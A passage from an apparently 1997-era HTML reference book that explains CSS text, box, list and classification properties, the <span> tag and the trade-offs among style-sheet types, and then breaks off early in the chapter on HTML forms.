sets all the background image and color properties at once, resulting in a marble image on top of a blue background (blue showing through any transparent areas). The image repeats vertically, starting from the center of the content display area, and does not scroll when the user scrolls the display. Notice that we included just a single position value (center) and the browser used it for both the vertical and horizontal positions.

Internet Explorer 3 supports only the background property and does not honor any of the individual background properties. For this reason, you may want to use the background property to achieve the broadest acceptance of your background image and color properties.

The color property

The color property sets the foreground color for a tag's contents--the color of the text lettering, for instance. Its value is either the name of a color, a hexadecimal RGB triple, or a decimal rgb triple, as outlined in 9.3.1.5. Thus, the following are all valid property declarations:

color: mauve
color: #ff7bd5
color: rgb(255, 125, 213)
color: rgb(100%, 49%, 84%)

Generally, you'll use the color property with text, but you may also modify non-textual content of a tag. For example, the following example produces a green horizontal rule:

HR {color: green}

If you do not specify a color for an element, it inherits the color of its parent element.

Text Properties

Cascading style sheets make a distinction between font properties, which control the size, style, and appearance of text, and text properties, which control how text is aligned and presented to the user.

The letter-spacing property

The letter-spacing property puts additional space between text letters as they are displayed by the browser. Set the property with either a length value or the default keyword normal, indicating that the browser should use normal letter spacing. For example:

line-height property

BLOCKQUOTE {letter-spacing: 2px}

puts an additional two pixels between adjacent letters within the <blockquote> tag.

This property currently is not supported by any browser.

The line-height property

Use the line-height property to define the spacing between lines of a tag's text content. Normally, browsers single-space text lines--the top of the next line is just a few points below the last line. By adding to that line height (more commonly known as leading among typographers), you increase the amount of space between lines.

The line-height value can be an absolute or relative length, a percentage, a scaling factor, or the keyword normal. For example:

P {line-height: 14pt}
P {line-height: 120%}
P {line-height: 2.0}

The first example sets the line height to exactly 14 points between baselines of adjacent lines of text. The second computes the line height to 120 percent of the font size. The last example uses a scaling factor to set the line height to twice as large as the font size, creating double-spaced text. The value normal, the default, is usually equal to a scaling factor of 1.0 to 1.2.

Keep in mind that absolute and percentage values for line-height compute the line height based upon the value of the font-size property when the line-height property is defined. The computed property value will be inherited by children of the element. Subsequent changes to font-size by either the parent or child elements will not change the computed line-height.

Scaling factors, on the other hand, defer the line-height computation until the text is actually displayed. Hence, varying font-sizes affect line-height locally. In general, it is best to use a scaling factor for the line-height property so that the line height will automatically change when the font size is changed.

Although usually considered separate from font properties, you may include this text-related line-height property's value as part of the shorthand notation of the font property. [the section called "The font property"]

Internet Explorer 3 does not support scaling factors and may compute relative line heights incorrectly for text containing multiple font sizes.

The text-align property

Text justified with respect to the page margins is a rudimentary feature of nearly all text processors. The text-align property brings that capability to HTML for any block-level tag. Use one of four values: left, right, center, or justify. The default value is, of course, left. For example,

DIV {text-align: right}

tells the style-conscious browser to align all the text inside <div> tags against the right margin. The justify value tells the browser to align the text to both the left and right margins, spreading the letters and words in the middle to fit.

Internet Explorer 3 does not support the justify value for this property.

The text-decoration property

The text-decoration property produces all sorts of text embellishments, some of which also are available with the original physical style tags. Its value is one or more of the keywords underline, overline, line-through, and blink. The value none is the default and tells the style-conscious browser to present text normally.

The text-decoration property is handy for defining different link appearances. For example,

A:visited A:link A:active {text-decoration: underline overline}

puts lines above and below the links in your document.

This text property is not inherited, and non-textual elements are not affected by the text-decoration property.

Internet Explorer supports only the underline and line-through values for text-decoration; Netscape does not support the overline value.

The text-indent property

Although less common today, it still is standard practice to indent the first line of a paragraph of text.[4] And some text blocks, such as definitions, typically "out-dent" the first line, creating what is called a hanging indent.

[4] But not, obviously, in this book.

The CSS text-indent property lets you apply these features to any block tag and thereby control the amount of indentation of the first line of the block. Use length and percentage values; negative values create the hanging indent. Percentage values compute the indentation as a percentage of the parent element's width. The default value is zero.

To indent all the paragraphs in your document, for example:

P {text-indent: 3em}

The length unit em scales the indent as the font of the paragraph changes in size on different browsers.

Hanging indents are a bit trickier because you have to watch out for the element borders. Negative indentation does not shift the left margin of the text; it simply shifts the first line of the element left, possibly into the margin, border, or padding of the parent element. For this reason, hanging indents only work as expected if you also shift the left margin of the element to the right by an amount equal to or greater than the size of the hanging indent. For example,

P.wrong {text-indent: -3em}
P.hang  {text-indent: -3em; margin-left: 3em}
P.large {text-indent: -3em; margin-left: 6em}

creates three paragraph styles. The first creates a hanging indent that extends into the left margin. The second creates a conventional hanging indent. The third creates a paragraph whose body is indented more than the hanging indent. All three styles are shown in use in Figure 9.3.

Figure 9.3: The effects of text-indent and margin-left on a paragraph

[Graphic: Figure 9-3]

The text-transform property

The text-transform property changes the case for all the text within a tag. Valid values for this property are capitalize, uppercase, lowercase, and none, which is the default. The value capitalize ensures that the first letter of every word gets capitalized, while uppercase and lowercase affect every letter in the text.

The actual capitalization rules used by the browser depend upon the character encoding and language used by the browser.

This property is not supported by Internet Explorer 3. While supported by Netscape, this property is not inherited by child elements, as prescribed by the CSS standard.

The vertical-align property

The vertical-align property controls the relative position of an element with respect to the line containing the element. Valid values for this property include:

baseline

align the baseline of the element with the baseline of the containing element

middle

align the middle of the element with the middle (usually the x-height) of the containing element

sub

subscript the element

super

superscript the element

text-top

align the top of the element with the top of the font of the parent element

text-bottom

align the bottom of the element with the bottom of the font of the parent element

top

align the top of the element with the top of the tallest element in the current line

bottom

align the bottom of the element with the bottom of the lowest element in the current line

In addition, a percentage value indicates a position relative to the current baseline, so that a position of 50% puts the element halfway up the line height above the baseline. A position value of -100% puts the element an entire line-height below the baseline of the current line.

This property is not supported by any browser.

The word-spacing property

Use the word-spacing property to add additional space between words within a tag. You can specify a length value or the keyword normal to revert to normal word spacing. For example,

H3 {word-spacing: 25px}

places an additional 25 pixels of space between words in the <h3> tag.

This property is currently not supported by any browser.

Box Properties

The CSS model assumes that HTML elements always fit within a rectangular box. Using the properties defined in this section, you can control the size, appearance, and position of the boxes containing the elements in your documents.

The CSS formatting model

Each element in an HTML document can fit in a rectangular box. The CSS authors call this box the "core content area" and surround it with three more boxes: the padding, the border, and the margin. Figure 9.4 shows these boxes and defines some useful terminology.

Figure 9.4: The CSS formatting model and terminology

[Graphic: Figure 9-4]

The top, bottom, left-outer, and right-outer edges bound the content area of an element and all of its padding, border, and margin spaces. The inner-top, inner-bottom, left-inner, and right-inner edges define the sides of the core content area. The extra space around the element is the area between the inner and outer edges, including the padding, border, and margin. A browser may omit any and all of these extra spaces for any HTML element, and for many, the inner and outer edges are the same.

When elements are vertically adjacent, the bottom margin of the upper elements and the top margin of the lower elements overlap, so that the total space between the elements is the greater of the adjacent margins. For example, if one paragraph has a bottom margin of one inch, and the next paragraph has a top margin of one-half inch, the greater of the two margins, one inch, will be placed between the two paragraphs. These practice is known as margin collapsing and generally results in better document appearance.

Horizontally adjacent elements do not have overlapping margins. Instead, the CSS model adds together adjacent horizontal margins. For example, if a paragraph has a left margin of one inch, and is adjacent to an image with a right margin of one-half inch, the total space between the two will be 1.5 inches. This rule also applies for nested elements, so that a paragraph within a division will have a left margin equal to the sum of the division's left margin and the paragraph's left margin.

As shown in Figure 9.4, the total width of an element is equal to the sum of seven items: the left and right margins, the left and right borders, the left and right padding, and the element's content itself. The sum of these seven items must equal the width of the containing element. Of these seven items, only three (the element's width, and its left and right margins) can be given the value auto, indicating that the browser can compute a value for that property. When this becomes necessary, the browser follows these rules:

  • If none of these properties are set to auto, and the total width is less than the width of the parent element, the margin-right property will be set to auto and made large enough to make the total width equal to the width of the parent element.

  • If exactly one property is set to auto, that property will be made large enough to make the total width equal to the width of the parent element.

  • If more than two properties are set to auto, and one of them is width, margin-left and margin-right will be set to zero and width will be made large enough to make the total width equal to the width of the parent element.

  • If both the left and right margins are set to auto, they will always be set to equal values, centering the element within its parent.

There are special rules for floating elements. A floating element (such as an image with align=left specified) will not have its margins collapsed with the margins of containing or preceding elements, unless the floating element has negative margins. This is easy to see in Figure 9.5, which shows how this bit of HTML might be rendered:

<body>
<p>
<img align=left src="pics/img.gif">
Some sample text...
</body>

Figure 9.5: Handling the margins of floating elements

[Graphic: Figure 9-5]

The browser moves the image, including its margins, as far as possible to the left and towards the top of the paragraph without overlapping the left and top margins of the paragraph or the document body. The left margins of the paragraph and the containing body are added, while their top margins are collapsed.

The border properties

The border surrounding an element has a color, a thickness, and a style. You use various properties to control these three aspects of the border on each of the four sides of an element. Shorthand properties make it easy to define the same color, thickness, and style for the entire border, if desired. Border properties are not inherited; you must explicitly set them for each element that has a border.

Unfortunately, none of the border properties are currently implemented by either Netscape or Internet Explorer.

The border-color property

Use the border-color property to set the border color. If not specified, the browser draws the border using the value of the element's color property.

The border-color property accepts from one to four color values. The number of values determines how they are applied to the borders (summarized in Table 9.1). If you include just one property value, all four sides of the border are set to the specified color. Two values set the top and bottom borders to the first value and the left and right borders to the second value. With three values, the first is the top border, the second sets the right and left borders, and the third color value is for the bottom border. Four values specify colors for each side, clock-wise from the top, then right, bottom, and left borders, in that order.

Table 9.1: Order of effects for multiple border, margin, and padding property values
Number of values | Affected border(s), margin(s), or padding
1 | All same.
2 | First value sets top and bottom; second value sets left and right.
3 | First value sets top; second sets both left and right; third value sets bottom.
4 | First value sets top; second sets right; third sets bottom; and fourth value sets left.

The border-width property

The border-width property lets you change the width of the border. Like the border-color property, it accepts from one to four values that are applied to the various borders in a similar manner (Table 9.1).

Besides a specific length value, you may also specify the width of a border as one of the keywords thin, medium, or thick. The default value, if the width is not explicitly set, is medium. Some typical border widths are:

border: 1px
border: thin thick medium
border: thick 2mm

The first example sets all four borders to exactly one pixel. The second makes the top border thin, the right and left borders thick, and the bottom border medium. The last example makes the top and bottom borders thick, while the right and left borders will be 2 mm wide.

If you are uncomfortable defining all four borders with one property, you can use the individual border-top-width, border-bottom-width, border-left-width, and border-right-width properties to define the thickness of each border. Each property accepts just one value; the default is medium.

The border-style property

According to the CSS model, you have a number of embellishments you may apply to your HTML element borders.

The border-style property values include none (default), dotted, dashed, solid, double, groove, ridge, inset, and outset. The border-style-conscious browser applies one to four values for the property to each of the borders in the same order as for the border colors and widths, as described in Table 9.1.

The browser draws dotted, dashed, solid, and double borders as flat lines atop the tag's background. The groove, ridge, inset, and outset values create three-dimensional borders: The groove is an incised line; the ridge is an embossed line; the inset border makes the entire tag area appear set into the document; and the outset border makes the entire tag area appear raised above the document. The effect of the three-dimensional nature of these last four styles upon the tag's background image is undefined and left up to the browser. We'd like to show you examples, but none are supported by any current browser.

Borders in shorthand

Since specifying a complex border can get tedious, the CSS standard provides five shorthand properties that accept any or all of the width, color, and style values for one or all of the border edges. The border-top, border-bottom, border-left, and border-right properties affect their respective borders sides; the comprehensive border property controls all four sides of the border simultaneously. For example:

border-top: thick solid blue
border-left: 1ex inset
border-bottom: blue dashed
border: red double 2px

The first property makes the top border a thick, solid, blue line. The second sets the left border to use an inset effect that is as thick as the x-height of the element's font, while leaving the color the same as the element's color. The third property creates a blue dashed line at the bottom of the element, using the default medium thickness. Finally, the last property makes all four borders a red double line two pixels thick.

That last property raises two issues. First, you cannot supply multiple values to the border property to selectively affect certain borders like you can with the individual border-color, border-width, and border-style properties. The border property always affects all four borders around an element.

Secondly, a bit of reflection should reveal that it is not possible to create a double-line border just two pixels thick. In cases like this, the browser is free to adjust the thickness to render the border properly.

While we usually think of borders surrounding block elements like images, tables, and text flows, borders can also be applied to inline tags. This lets you put a box around a word or phrase within a text flow. The implementation of borders on inline tags that span multiple lines is undefined and left to the browser.

The clear property

Like its cousin attribute for the <br> tag, the clear property tells the browser whether to place a tag's contents adjacent to a "floating" element, or on the first line below. Text flows around floating elements like images and tables with an align=left or align=right attribute, or any HTML element with its float property set to anything but none. [the section called "The <br> Tag"] [the section called "The float property"]

The value of the clear property can be none, left, right, or both. A value of none, the default, means that the browser acts normally and places the tag's contents adjacent to floating elements on either side if there is room to do so. The value left prevents contents from being placed adjacent to a floating element on its left; right prevents placement against a floating element on the right; and both prevents the tag's contents from appearing adjacent to any floating element.

The effect of this style is the same as having preceded the tag with a <br> tag with its clear attribute. Hence,

float property

H1 {clear: left}

has the same effect as preceding every <h1> tag with <br clear=left>.

The clear property currently is not supported by Internet Explorer.

The float property

The float property designates a tag's display space as a floating element and causes text to flow around it in a specified manner. It is generally analogous to the align attribute for images and tables, but can be applied to any element, including text, images, and tables. [the section called "The align attribute"] [the section called "The align attribute"]

The float property accepts one of three values: left, right, or none, the default. Using none disables the float property; the others work like their align attribute-value counterparts, telling the browser to place the content to either side of the flow and allow other content to be rendered next to it.

Accordingly, the style-conscious browser will place a tag's contents specified with float: left against the left margin of the current text flow, and subsequent content will flow to its right, down and below the tag's contents. The float: right pair puts the tag contents against the right edge of the flow and flows other content on its left, down and below the tag's contents.

Although most commonly used with tables and images, it is perfectly acceptable to apply the float property to a text element. For example, the following would create a "run-in" header, with the text flowing around the header text.

H1 {float: left}

This property is not yet supported by Internet Explorer.

height property

The height property

As you might suspect, the height property controls the height of the associated tag's display region. You'll find it most often used with images and tables, but it can be used to control the height of other HTML document elements as well.

The value of the height property is either a length value or the keyword auto, the default. Using auto implies that the affected tag has an initial height that should be used when displaying the tag. Otherwise, the height of the tag is set to the desired height. If an absolute value is used, the height is set to that length value. For example,

IMG {height: 100px}

tells the browser to display the image referenced by the <img> tag scaled so that it is 100 pixels tall. If you use a relative value, the base size to which it is relative is browser and tag dependent.

When scaling elements to a specific height, the aspect ratio of the object can be preserved by also setting the width property of the tag to auto. Thus,

IMG {height: 100px; width: auto}

ensures that the images are always 100 pixels tall, with an appropriately scaled width. [the section called "The width property"]

This property is not yet supported by Internet Explorer; Netscape honors it only when used with the <img> tag.

The margin properties

Like the border properties, the various margin properties let you control the margin space around an element, just outside of its border (Figure 9.4). Margins are always transparent, allowing the background color or image of the containing element to show through. As a result, you can only specify the size of a margin; it has no color or rendered style.

The margin-left, margin-right, margin-top, and margin-bottom properties all accept a length or percentage value indicating the amount of space to reserve around the element. In addition, the keyword auto tells the style-conscious browser to revert to the margins it normally would place around an element. Percentage values are computed as a percentage of the containing element's width. The default margin, if not specified, is zero.

These are all valid margin settings:

BODY {margin-left: 1in; margin-top: 0.5in; margin-right: 1in}
P {margin-left: -0.5cm}
IMG {margin-left: 10%}

The first example creates one-inch margins down the right and left edges of the entire document, and a half-inch margin across the top of the document. The second example shifts the <p> tag one-half centimeter left into the left margin. The last example creates a margin to the left of the <img> tag equal to ten percent of the parent element's width.

Like the shorthand border property, you can use the shorthand margin property to define all four margins, using from one to four values which affect the margins in the order described in Table 9.1. Using this notation, our <body> margins in the above example also could have been specified as:

BODY {margin: 0.5in 1in}

The margin-left and margin-right properties interact with the width property to determine the total width of an element, as described in 9.3.6.1.

Internet Explorer 3 only supports the margin-left, margin-right, and margin-top properties. Accordingly, it only accepts up to three margin property values, and in an order different than the CSS standard: top, left, then right (no bottom).

The padding properties

Like the margin properties, the various padding properties let you control the padding space around an element, between the element's content area and its border (Figure 9.4). Padding is always rendered using the background color or image of the element. As a result, you can specify only the size of the padding; it has no color or rendered style.

The padding-left, padding-right, padding-top, and padding-bottom properties all accept a length or percentage value indicating the amount of space the style-conscious browser should reserve around the element. Percentage values are computed as a percentage of the containing element's width. The default padding is zero.

These are valid padding settings:

P {padding-left: 0.5cm}
IMG {padding-left: 10%}

The first example creates half a centimeter of padding between the contents of the <p> tag and its left border. The last example creates padding to the left of the <img> tag equal to 10 percent of the parent element's width.

width property

Like the shorthand margin and border properties, you can use the shorthand padding property to define all four padding amounts, using one to four values to effect the padding sides as described in Table 9.1.

Internet Explorer 3 does not support any padding properties. Netscape supports only the four individual padding properties, not the shorthand padding property.

The width property

The width property is the companion to the height property and controls the width of an associated tag. Specifically, it defines the width of the element's content area, as shown in Figure 9.4. You'll see it most often used with images and tables, but you could conceivably use it to control the width of other elements as well.

The value for width property is either a length or percentage value or the keyword auto. The value auto is the default and implies that the affected tag has an initial width that should be used when displaying the tag. If a length value is used, the width is set to that value; percentage values compute the width to be a percentage of the width of the containing element. For example,

IMG {width: 100px}

displays the image referenced by the <img> tag scaled to 100 pixels wide.

When scaling elements to a specific width, the aspect ratio of the object is preserved if the height property of the tag is set to auto. Thus,

IMG {width: 100px; height: auto}

makes the images all 100 pixels wide, and scales their heights appropriately. [the section called "The height property"]

The width property interacts with the margin-left and margin-right properties to determine the total width of an element, as described in 9.3.6.1.

This property is not supported by Internet Explorer; Netscape honors it only when associated with the <img> tag.

List Properties

The CSS standard lets you also control the appearance of HTML list elements: specifically, ordered and unordered lists.

Browsers format list items just like any other HTML block item, except that the block has some sort of marker preceding the contents. For unordered lists, the marker is a bullet of some sort; for numbered lists, the marker is a numeric or alphabetic character or symbol. The CSS list properties let you control the appearance and position of the marker associated with a list item.

The list-style-image property

The list-style-image property defines the image that the browser uses to mark a list item. The value of this property is the URL of an image file, or the keyword none. The default value is none.

The image is the preferred list marker. If it is available, the browser will display it in place of any other defined marker. If the image is unavailable, or if the user has disabled image loading, the marker defined by the list-style-type property (see the section called "The list-style-type property") will be used.

Authors can use this property to define custom bullets for their unordered lists. While any image could conceivably be used as a bullet, we recommend that you keep your marker GIF or JPEG images small to ensure attractively rendered lists.

For example, by placing the desired bullet image in the file mybullet.gif on your server, you could use that image:

LI {list-style-image: url(pics/mybullet.gif); list-style-type: square}

In this case, the image will be used if the browser successfully downloads mybullet.gif. Otherwise, the browser will use a conventional square bullet.

This property is not supported by any browser.

The list-style-position property

There are two ways to position the marker associated with a list item: inside the block associated with the item, or outside the block. Accordingly, the list-style-position property accepts one of two values: inside or outside.

The default value is outside, meaning that the item marker will hang to the left of the item like this:

  • This is a bulleted list with an "outside" marker

The value inside causes the marker to be drawn with the list item flowing around it, much like a floating image:

  • This is a bulleted list with an "inside" marker

Notice how the second line of text is not indented, but instead lines up with the left edge of the marker.

This property is not currently supported by any browser.

The list-style-type property

The list-style-type property serves double-duty in a sense, determining how both ordered and unordered list items are rendered by a style-conscious browser. This property has the same effect on a list item as its type attribute does. [the section called "The type attribute"]

When used with items within an unordered list, the list-style-type property accepts one of four values: disc, circle, square, or none. The browser marks the unordered list items with the corresponding specified dingbat. The default value is disc; browsers change that default depending on the nesting level of the list.

When used with items within an ordered list, the list-style-type property accepts one of six values: decimal, lower-roman, upper-roman, lower-alpha, upper-alpha, or none. These values format the item numbers as decimal values, lowercase Roman numerals, uppercase Roman numerals, lowercase letters, or uppercase letters, respectively. Most browsers will use decimal numbering schemes if you don't set this property.

This property is not supported by any browser.

The list-style property

The list-style property is the shorthand version for all the other list-style properties. It accepts any or all of the values allowed for the list-style-type, list-style-position, and list-style-image properties, in any order and with values appropriate for the type of list it is to affect. These are valid list-style properties:

LI {list-style: disc}
LI {list-style: lower-roman inside}
LI {list-style: url(http://www.kumquat.com/images/tiny-quat.gif)
                square}

The first example creates list items that use a disc as the bullet image. The second causes numbered list items to use lowercase Roman numerals, drawn inside the list item's block. In the last example, a square will be used as the bullet image if the referenced image is unavailable.

This property is not currently supported by any browser.

Using list properties effectively

Although you may apply list properties to any HTML element, they will affect only the appearance of elements whose display property is set to list-item. Normally, the only tag with this property is the <li> tag. [the section called "The display property"]

This shouldn't deter you from using these properties elsewhere, particularly with the <ul> and <ol> tags. Since these properties are inherited by elements whose parents have them set, modifying a list property for the <ul> and <ol> tags will subsequently modify it for all the <li> tags contained within that list. This makes it much easier to define lists with a particular appearance.

For example, suppose you want to create a list style that uses lowercase Roman numerals. One way is to define a class of the <li> tag with the appropriate list-style-type defined:

LI.roman {list-style-type: lower-roman}

Within your list, you'll need to specify each list element using that class:

<ol>
  <li class=roman>Item one
  <li class=roman>Item two
  <li class=roman>And so forth
</ol>

Having to repeat the class name is tedious and error-prone. A better solution is to define a class of the <ol> tag:

OL.roman {list-style-type: lower-roman}

Any <li> tag within the list will inherit the property and use lowercase Roman numerals:

<ol class=roman>
  <li>Item one
  <li>Item two
  <li>And so forth
</ol>

This is much easier to understand and manage. If, at a later date, you want to change the numbering style, you need only change the <ol> tag properties, rather than have to find and change each instance of the <li> tag in the list.

You can use these properties in a much more global sense as well. Setting a list property on the <body> tag will change the appearance of all lists in the document; setting it on a <div> tag will change all the lists within that division.

Classification Properties

Classification properties are the most esoteric of the CSS style properties. They do not directly control how a style-conscious browser will render HTML elements. Instead, they tell the browser how to classify and handle various tags and their contents as they are encountered.

For the most part, you should not set these properties on an element unless you are trying to achieve a specific special effect. Even then, it is unlikely that the property will be supported by most browsers.

display property

The display property

Every element in an HTML document can be classified, for display purposes, as a block item, an inline item, or a list item. Block elements, like headings, paragraphs, tables, and lists, are formatted as a separate block of text, separated from the previous and next block items. Inline items, like the physical and content-based style tags and hyperlink anchors, are rendered within the current line of text within a containing block. List items, specifically the <li> tag, are rendered like a block item, along with a bullet or number known as the marker.

The display property lets you change an element's display type to block, inline, list-item, or none. The first three values change the element's classification accordingly; the value none turns off the element, preventing it or its children from being displayed in the document.

Conceivably, you could wreak all sorts of havoc by switching element classifications, forcing paragraphs to be displayed as list items and converting hyperlinks to block elements. In practice, this is just puerile monkey business, and we don't recommend that you change element classifications without having a very good reason to do so.

Besides, this property currently is not supported by any browser.

The white-space property

The white-space property defines how the style-conscious browser treats whitespace (tabs, spaces, and carriage returns) within a block tag. The keyword value normal--the default--collapses whitespace, so that one or more spaces, tabs, and carriage returns are treated as a single space between words. The value pre emulates the <pre> tag, in that the browser retains and displays all spaces, tabs, and carriage returns. And, finally, the nowrap value tells the browser to ignore carriage returns and not insert automatic line breaks; all line-breaking must be done with explicit <br> tags.

Like the display property, the white-space property is rarely used for good instead of evil. Don't change how elements handle whitespace without having a compelling reason for doing so.

This property is not supported by any browser.

Previous | Home | Next
Style Syntax | Book Index | Tag-Less Styles: The <span> Tag
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 9] 9.4 Tag-Less Styles: The <span> Tag

HTML: The Definitive Guide

Previous Chapter 9
Cascading Style Sheets 		Next

9.4 Tag-Less Styles: The <span> Tag

Up to now, we have used Cascading Style Sheets to change the appearance of content that is within a designated HTML tag. In some cases, however, you may want to alter the appearance of only a portion of a tag's contents--usually text. Designate these special segments with the <span> tag.

<span> (Netscape) (Internet Explorer)
Function:

Delimit arbitrary amount of text to which to apply a style rule

Attributes:

CLASS
STYLE

End tag:

</span>; never omitted

Contains:

html_content

Used in:

body_content

The <span> tag simply delimits a portion of HTML content (constrained by normal tag nesting rules, of course). Browsers treat the <span> tag as another physical- or content-based style tag. The only difference, of course, is that the default meaning of the <span> tag is to leave the text alone.

Although it may serve some other function in a future version of HTML, the <span> tag was introduced so that you can apply a style to an arbitrary section of document content, via a direct style, various style classes, or locally with an inline style. To define a style for the <span> tag, treat it like any other HTML tag:

SPAN {color: purple}
SPAN.bigger {font-size: larger}

and use it like any other style tag:

Quat harvest projections are <span class=bigger>bigger than ever</span>!

In a similar manner, the appearance of a <span> tag can be changed using an inline style:

Quat harvest projections are <span style="font-size: larger">bigger than ever</span>!

Like any other physical or content-based style tag, <span> tags can be nested and may contain other tags. The <span> tag exists only to provide style management down to the phrase level in HTML.

Previous | Home | Next
Style Properties | Book Index | Applying Styles to Documents
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 9] 9.5 Applying Styles to Documents

HTML: The Definitive Guide

Previous Chapter 9
Cascading Style Sheets 		Next

9.5 Applying Styles to Documents

There are several issues you should consider before, during, and after you use styles in your HTML documents and document collections. The first, overarching issue is whether to use them at all. Frankly, few of the style effects are unique; most can be achieved, albeit less easily and with much less consistency, via the physical- and content-based style tags like <i> and <em> and the various tag attributes like color and background.

To Style or Not to Style

Effects aside, the biggest question looming in the minds of HTML developers as we write this chapter in early 1997 is whether Cascading Style Sheets, particularly external ones, ever will be fully supported by the major browsers, or whether some other style-sheet delivery mechanism will prevail. Both Netscape Navigator and Internet Explorer have support for Cascading Style Sheets in their most recent versions, but Microsoft's support is out of date and buggy while Netscape's is currently incomplete. Moreover, Netscape has put its development weight behind not CSS, but JavaScript-based styles (see the section called "JavaScript Style Sheets").

So, currently, CSS style sheets are a bittersweet solution; they can create more work than they are worth. The majority of browsers in use today do not support styles. That means that to achieve the special effects for most users, you have to prepare redundant collections--mixed or separate--containing both styles and style-related tags and attributes, if you use styles at all. We're right back in the same boat we were in a year or so ago when deciding whether to use the many new Netscape extensions to HTML. We believe that this too will pass: Netscape promises complete support of the entire CSS standard, and Microsoft surely will update its support to keep pace with Netscape. While styles may be spotty at best in the first half of 1997, expect them to be pervasive by the end of the year.

Which Type of Style Sheet and When

Once you have decided to use HTML cascading style sheets (for pain or pleasure), the next question is which type of style sheet--inline, document-level, or external--should you apply and when? Each has its pros and cons; each is best applied under certain circumstances.

The pros and cons of external styles

Since style sheets ostensibly provide consistency in the presentation of your documents, external style sheets are the best and the easiest way to manage styles for your entire document collection. Simply place the desired style rules in a style sheet and apply those styles to the desired documents. Since all the documents are affected by a single style sheet, conversion of the entire collection to a new style is as simple as changing a single rule in the corresponding external style sheet.

Even in cases where documents may differ in style, it is often possible to collect a few basic style rules in a single sheet that can be shared among several otherwise different documents, including:

  • Background color

  • Background image

  • Font sizes and faces

  • Margins

  • Text alignment

Another benefit of external style sheets is that other web authors who want to copy your style can easily access that sheet and make their pages look like yours. Imitation being the sincerest form of flattery, you should not be troubled when someone elects to emulate the look and feel of your pages. More to the point, you can't stop them from linking to your style sheets, so you might as well learn to like it. Like conventional HTML documents, it is not possible to encrypt or otherwise hide your style sheets so that others cannot view and use them.

The biggest problem with external style sheets is that they increase the amount of time needed to access a given web page. Not only must the browser download the page itself, it must also download the style sheet before the page can be displayed to the user. While most style sheets are relatively small, their existence can definitely be felt when accessing the Web over a slow connection.

Without appropriate discipline, external style sheets can become large and unwieldy. When creating style sheets, remember to include only those styles that are common to the pages using the sheet. If a set of styles is needed only for one or two sheets, you are better off isolating them in a separate sheet or adding them to a document using document-level styles. Otherwise, you may find yourself expending an exorbitant amount of effort counteracting the effects of external styles in many individual documents.

The pros and cons of document-level styles

Document-level styles are most useful when creating a custom document. They let you easily override one or more rules in your externally defined style to create a slightly different document.

You might also want to use document-level styles to experiment with new style rules before moving them to your style sheets. By adding and changing rules using document-level styles, you eliminate the risk of adding a broken style to your style sheets, breaking the appearance of all the documents that use that sheet.

The biggest problem with document styles is that you may succumb to using them in lieu of creating a formal, external style sheet to manage your document collection. It is easy to simply add rules to each document, cutting and pasting as you create new documents. Unfortunately, managing a collection of documents with document-level styles is tedious and error-prone. Even a simple change can result in hours of editing and potential mistakes.

As a rule of thumb, any style rule that impacts three or more documents should be moved to a style sheet and applied to those documents using the <link> tag or @import command. Adhering to this rule as you create your document families will pay off in the long run when it is time to change your styles.

The pros and cons of inline styles

And at the end of the cascade, inline styles override the more general styles. Get into the habit now of using inline styles rarely and just for that purpose, too. Inline styles cannot be reused, making style management difficult. Moreover, such changes are spread throughout your documents, making finding and altering inline styles error-prone. (That's why we might eschew tag- and attribute-based styles in the first place, no?)

Anytime you use an inline style, think long and hard as to whether the same effect might be accomplished using a style class definition. For instance, you are better off defining:

<style type="text/css">
<!--
  P.centered {text-align: center}
  EM.blue {color: blue}
-->
</style>

and later using:

<p class=centered>
<em class=blue>

instead of:

<p style="text-align: center">
<em style="color: blue">

Your styles are easier to find and manage and can be easily reused throughout your documents.

Previous | Home | Next
Tag-Less Styles: The <span> Tag | Book Index | Forms
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] Forms

HTML: The Definitive Guide

Previous Chapter 10 Next

10. Forms

Contents:
Form Fundamentals
Form Input Elements
Multiline Text Areas
Multiple Choice Elements
Creating Effective Forms
Forms Programming

Forms, forms, forms, forms: we fill 'em out for nearly everything, from the moment we're born, 'til the moment we die. So what's to explain all the hoopla and excitement over HTML forms? Simply this: they make HTML truly interactive.

When you think about it, except for the limited input from users available through the <isindex> tag, HTML's interactivity is basically a lot of button pushing: click here, click there, go here, go there--there's no real user feedback, and it's certainly not personalized. Applets provide extensive user-interaction capability, but they can be difficult to write and are still not standardized for all browsers. Forms, on the other hand, are supported by almost every browser and make it possible to create documents that collect and process user input, and formulate personalized replies.

This powerful mechanism has far-reaching implications, particularly for electronic commerce. It finishes an online catalog by giving buyers a way to immediately order products and services. It gives nonprofit organizations a way to sign up new members. It gives market researchers a way to collect user data. It gives you an automated way to interact with your HTML document readers.

Mull over the ways you might want to interact with your readers while we take a look at both the client- and server-side details of creating forms.

10.1 Form Fundamentals

Unlike the <isindex> tag, you can put one or more forms in a single document. And unlike an <isindex> document, users can ignore the embedded forms, reading content and interacting with the document's links just as with a form-less document. [the section called "The <isindex> Tag"]

Forms are comprised of one or more text input boxes, clickable buttons, multiple-choice checkboxes, and even pull-down menus and clickable images, all placed inside the <form> tag. Within a form, you may also put regular body content, including text and images. The text is particularly useful for providing instructions to the users on how to fill out the form and for form element labels and prompts. And, within the various form elements, you can use JavaScript event handlers for a variety of effects like testing and verifying form contents and calculating a running sum.

Once a user fills out the various fields in the form, they click a special "Submit" button (or, sometimes, press the Return key) to submit the form to a server. The browser packages up the user-supplied values and choices and sends them to a server or to an email address.[1] The server passes the information along to a supporting program or application that processes the information and creates a reply, usually in HTML. The reply may be simply a thank you or it might prompt the user how to fill out the form correctly or to supply missing fields. The server sends the reply to the browser client who then presents it to the user. With emailed forms, the information is simply put into someone's mailbox; there is no notification of the form being sent.

[1] Some browsers, Netscape in particular, may also encrypt the information, securing it from credit-card thieves, for example. However, the encryption facility must also be supported on the server-side as well: contact the browser manufacturer for details.

The server-side data-processing aspects of forms are not part of the HTML standard; they are defined by the server's software. While a complete discussion of server-side forms programming is beyond the scope of this book, we'd be remiss if we did not include at least a simple example to get you started. To that end, we've included at the end of this chapter a few skeletal programs that illustrate the common styles of server-side forms programming.

The <form> Tag

You place a form anywhere inside the body of an HTML document with its elements enclosed by the <form> tag and its respective end tag </form>. You may, and we recommend you often do, include regular body content inside a form to specially label user-input fields and to provide directions, for example.

<form>
Function:

Defines a form

Attributes:

ACTION
